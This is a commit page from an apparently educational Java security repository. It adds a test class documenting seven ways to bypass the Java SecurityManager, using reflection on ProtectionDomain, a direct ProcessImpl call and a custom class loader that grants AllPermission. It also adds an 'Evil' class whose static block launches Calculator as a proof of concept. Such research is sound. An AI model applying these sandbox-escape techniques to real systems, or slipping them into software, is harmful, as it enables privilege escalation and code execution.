Skip to content

Commit 4588d3e

Browse files
author
xuanyh
committed
feat:添加java security maneger的权限绕过和test
1 parent 1eb6ab2 commit 4588d3e

File tree

3 files changed

+223
-0
lines changed

3 files changed

+223
-0
lines changed
Lines changed: 160 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,160 @@
1+
package com.threedr3am.bug.security.manager;
2+
3+
import java.io.BufferedInputStream;
4+
import java.io.ByteArrayOutputStream;
5+
import java.io.File;
6+
import java.io.FileInputStream;
7+
import java.io.IOException;
8+
import java.lang.reflect.InvocationTargetException;
9+
import java.security.AccessControlException;
10+
import java.security.AllPermission;
11+
import java.security.CodeSource;
12+
import java.security.PermissionCollection;
13+
import java.security.Permissions;
14+
import java.security.ProtectionDomain;
15+
import java.security.cert.Certificate;
16+
17+
/**
18+
* 一般codeBase的方式设置了权限之后,那么没有显式设置的权限就代表不具有
19+
* 绕过方式(2-5的前提是具有反射权限):
20+
* 1. 调用System.setSecurityManager(null) - 若没有("java.lang.RuntimePermission" "setSecurityManager"),则行不通
21+
*
22+
* 2. 反射获取System的security field,直接设置成null - sun.reflect.Reflection禁止反射System.security field,故行不通
23+
*
24+
* 3. 遍历当前执行线程栈每一个栈帧对应的class,利用方法getProtectionDomain()获取它的ProtectionDomain,
25+
* 然后反射修改权限标志hasAllPerm=true - 若没有("java.lang.RuntimePermission" "getProtectionDomain")权限,则行不通
26+
*
27+
* 4. 绕过getProtectionDomain(),直接反射调用私有方法getProtectionDomain0()获取ProtectionDomain,
28+
* 然后反射修改权限标志hasAllPerm=true - 若没有("java.lang.RuntimePermission" "accessDeclaredMembers")
29+
* ("java.lang.reflect.ReflectPermission" "suppressAccessChecks")权限,则走不通,但一般不会禁止这些操作,
30+
* 只会通过Reflection的registerFieldsToFilter、registerMethodsToFilter方法区禁用反射哪些class、method、field
31+
*
32+
* 5. 直接反射java.lang.ProcessImpl的start方法执行命令 - pass
33+
*
34+
* 6. 自定义类加载器,在Class加载初始化ProtectionDomain时,给予全部权限
35+
* - 若没有("java.lang.RuntimePermission" "createClassLoader")权限,则故行不通
36+
*
37+
* 7. 使用jni调用native方法绕过,需要本地可写库文件或类似windows这种通过网络文件系统webdav加载 - pass
38+
*
39+
* @author xuanyh
40+
*/
41+
public class AttackTest {
42+
43+
public static void main(String[] args)
44+
throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {
45+
//todo 1 需要权限("java.lang.RuntimePermission" "setSecurityManager")
46+
// System.setSecurityManager(null);
47+
// try {
48+
// FileInputStream fileInputStream = new FileInputStream(new File("/tmp/bbb"));
49+
// fileInputStream.close();
50+
// } catch (AccessControlException e) {
51+
// System.out.println("没有权限:" + e.getMessage());
52+
// }
53+
54+
//todo 2
55+
// Field field = System.class.getDeclaredField("security");
56+
// field.setAccessible(true);
57+
// field.set(null, null);
58+
59+
//todo 3 需要权限("java.lang.RuntimePermission" "getProtectionDomain")
60+
// StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
61+
// for (StackTraceElement s:stackTraceElements) {
62+
// Class clazz = Thread.currentThread().getContextClassLoader().loadClass(s.getClassName());
63+
// ProtectionDomain protectionDomain = clazz.getProtectionDomain();
64+
// Field field = protectionDomain.getClass().getDeclaredField("hasAllPerm");
65+
// field.setAccessible(true);
66+
// field.set(protectionDomain, true);
67+
// }
68+
// try {
69+
// FileInputStream fileInputStream = new FileInputStream(new File("/tmp/bbb"));
70+
// fileInputStream.close();
71+
// } catch (AccessControlException e) {
72+
// System.out.println("没有权限:" + e.getMessage());
73+
// }
74+
75+
//todo 4 需要权限("java.lang.RuntimePermission" "accessDeclaredMembers") ("java.lang.reflect.ReflectPermission" "suppressAccessChecks")
76+
// StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
77+
// for (StackTraceElement s:stackTraceElements) {
78+
// Class clazz = Thread.currentThread().getContextClassLoader().loadClass(s.getClassName());
79+
// Method method = clazz.getClass().getDeclaredMethod("getProtectionDomain0");
80+
// method.setAccessible(true);
81+
// ProtectionDomain protectionDomain = (ProtectionDomain) method.invoke(clazz);
82+
// if (protectionDomain != null) {
83+
// Field field = protectionDomain.getClass().getDeclaredField("hasAllPerm");
84+
// field.setAccessible(true);
85+
// field.set(protectionDomain, true);
86+
// }
87+
// }
88+
// try {
89+
// FileInputStream fileInputStream = new FileInputStream(new File("/tmp/bbb"));
90+
// fileInputStream.close();
91+
// } catch (AccessControlException e) {
92+
// System.out.println("没有权限:" + e.getMessage());
93+
// }
94+
95+
//todo 5
96+
// Class clz = Class.forName("java.lang.ProcessImpl");
97+
// Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
98+
// method.setAccessible(true);
99+
// method.invoke(clz,new String[]{"touch","/tmp/xxxxxxx"},null,null,null,false);
100+
101+
//todo 6 需要权限("java.lang.RuntimePermission" "createClassLoader")
102+
// MyClassLoader myClassLoader = new MyClassLoader();
103+
// try {
104+
// Class<?> clazz = Class.forName("com.threedr3am.bug.security.manager.Evil", true, myClassLoader);
105+
// clazz.newInstance();
106+
// } catch (AccessControlException e) {
107+
// System.out.println("没有权限:" + e.getMessage());
108+
// } catch (InstantiationException e) {
109+
// e.printStackTrace();
110+
// }
111+
112+
//todo 7 利用原生方法绕过的就不写了,记得上回那个比赛题目有的,好像是windows环境下利用webdav加载远程dll的方法,很赞
113+
}
114+
115+
}
116+
117+
class MyClassLoader extends ClassLoader {
118+
119+
@Override
120+
public Class<?> loadClass(String name) throws ClassNotFoundException {
121+
if (name.contains("Evil")) {
122+
return findClass(name);
123+
}
124+
return super.loadClass(name);
125+
}
126+
127+
@Override
128+
protected Class<?> findClass(String name) throws ClassNotFoundException {
129+
File file = new File(
130+
this.getResource(".").getPath() + "/" + name.replace(".", "/") + ".class");
131+
if (file.exists()) {
132+
try {
133+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
134+
BufferedInputStream bufferedInputStream = new BufferedInputStream(
135+
new FileInputStream(file));
136+
byte[] bytes = new byte[1024];
137+
int size;
138+
while ((size = bufferedInputStream.read(bytes)) != -1) {
139+
byteArrayOutputStream.write(bytes, 0, size);
140+
}
141+
PermissionCollection pc = new Permissions();
142+
pc.add(new AllPermission());
143+
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null,
144+
(Certificate[]) null), pc, this, null);
145+
Class<?> clazz = this.defineClass(name, byteArrayOutputStream.toByteArray(), 0,
146+
byteArrayOutputStream.size(), protectionDomain);
147+
return clazz;
148+
} catch (Exception e) {
149+
e.printStackTrace();
150+
}
151+
}
152+
return super.findClass(name);
153+
}
154+
}
155+
/**
156+
* grant codeBase "file:/Users/xuanyh/IdeaProjects/learnjavabug/target/classes/*" {
157+
* permission java.io.FilePermission "/tmp/aaa","read";
158+
* permission java.lang.RuntimePermission "accessDeclaredMembers";
159+
* };
160+
*/
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
package com.threedr3am.bug.security.manager;
2+
3+
import java.io.FilePermission;
4+
import java.io.IOException;
5+
import java.security.AccessControlException;
6+
7+
/**
8+
* @author xuanyh
9+
*/
10+
public class CodeBaseTest {
11+
12+
public static void main(String[] args) throws IOException, ClassNotFoundException {
13+
SecurityManager sm = System.getSecurityManager();
14+
try {
15+
sm.checkRead("/tmp/aaa");
16+
} catch (AccessControlException e) {
17+
System.out.println("没有权限:" + e.getMessage());
18+
}
19+
try {
20+
sm.checkWrite("/tmp/aaa");
21+
} catch (AccessControlException e) {
22+
System.out.println("没有权限:" + e.getMessage());
23+
}
24+
try {
25+
sm.checkDelete("/tmp/aaa");
26+
} catch (AccessControlException e) {
27+
System.out.println("没有权限:" + e.getMessage());
28+
}
29+
try {
30+
sm.checkPermission(new FilePermission("/tmp/aaa","execute"));
31+
} catch (AccessControlException e) {
32+
System.out.println("没有权限:" + e.getMessage());
33+
}
34+
}
35+
}
36+
/**
37+
* grant codeBase "file:/Users/xuanyh/IdeaProjects/learnjavabug/target/classes/*" {
38+
* permission java.io.FilePermission "/tmp/aaa","read";
39+
* };
40+
*/
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
package com.threedr3am.bug.security.manager;
2+
3+
import java.security.AccessController;
4+
import java.security.PrivilegedAction;
5+
6+
/**
7+
* @author threedr3am
8+
*/
9+
public class Evil {
10+
static {
11+
AccessController.doPrivileged(new PrivilegedAction<Object>() {
12+
@Override
13+
public Object run() {
14+
try {
15+
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
16+
} catch (Throwable e) {
17+
e.printStackTrace();
18+
}
19+
return null;
20+
}
21+
});
22+
}
23+
}

0 commit comments

Comments
 (0)